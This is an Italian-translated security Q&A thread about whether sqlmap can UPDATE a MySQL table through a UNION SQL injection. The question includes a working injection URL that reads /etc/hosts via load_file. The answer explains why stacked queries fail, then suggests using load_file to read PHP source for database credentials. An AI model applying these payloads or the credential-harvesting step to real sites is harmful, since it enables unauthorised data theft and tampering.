Come possiamo aggiornare la tabella tramite sqlmap?

3

Come possiamo aggiornare una tabella tramite sqlmap? L'iniezione è come questa:

mysite.com/?menu=-8' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
load_file('/etc/hosts'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

Ho un utente mysql con questi privilegi e ruoli:

[*] 'testUser'@'localhost' [17]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: SELECT
    privilege: SHOW VIEW
    privilege: TRIGGER
    privilege: UPDATE

[*] 'testUser'@'localhost' [17]:
        role: ALTER
        role: ALTER ROUTINE
        role: CREATE
        role: CREATE ROUTINE
        role: CREATE TEMPORARY TABLES
        role: CREATE VIEW
        role: DELETE
        role: DROP
        role: EVENT
        role: EXECUTE
        role: FILE
        role: INDEX
        role: INSERT
        role: SELECT
        role: SHOW VIEW
        role: TRIGGER
        role: UPDATE

ma non restituisce nessuno come risultato!

UPDATE SMS SET Message='This is for Test' WHERE ClientID='42';: None

L'istruzione Select funziona bene, ma mi chiedo se ci sia qualche possibilità di aggiornamento tramite sqlmap?

    
posta Freeman 10.10.2015 - 14:10
fonte

1 risposta

1

Questo semplicemente non è possibile. Il motivo è che il modulo MySQL di PHP non consente di aggiungere query complete. Quindi non funzionerà :

http://victim.com/index.php?id=1'; UPDATE anytable SET anyattribute='anyvalue' --

Non è inoltre possibile utilizzare UNION per aggiungere una query UPDATE, DELETE o INSERT perché consente solo a unirsi alle istruzioni SELECT.

È possibile AGGIORNARE un database MySQL tramite un'iniezione SQL solo se la query originale è una query UPDATE. E anche questo è molto più limitato delle Iniezioni SQL nelle istruzioni SELECT per estrarre i dati.

Ma c'è un altro modo in cui potresti essere in grado di alterare i dati. Nell'iniezione utilizzi la funzione load_file . Se questa funzione funziona, puoi usarla per leggere il contenuto dei file .php alla ricerca del metodo mysql_connect che conterrà le credenziali per il databse. È quindi possibile con queste credenziali connettersi al database in alcune condizioni e interrogare direttamente il database.

E infine: ti consiglio caldamente di non usare strumenti come sqlmap fino al momento in cui sei in grado di sfruttare le Iniezioni SQL bendate e con una mano legata alla schiena perché non impari molto usando solo sqlmap.

    
risposta data 11.10.2015 - 11:47
fonte

Leggi altre domande sui tag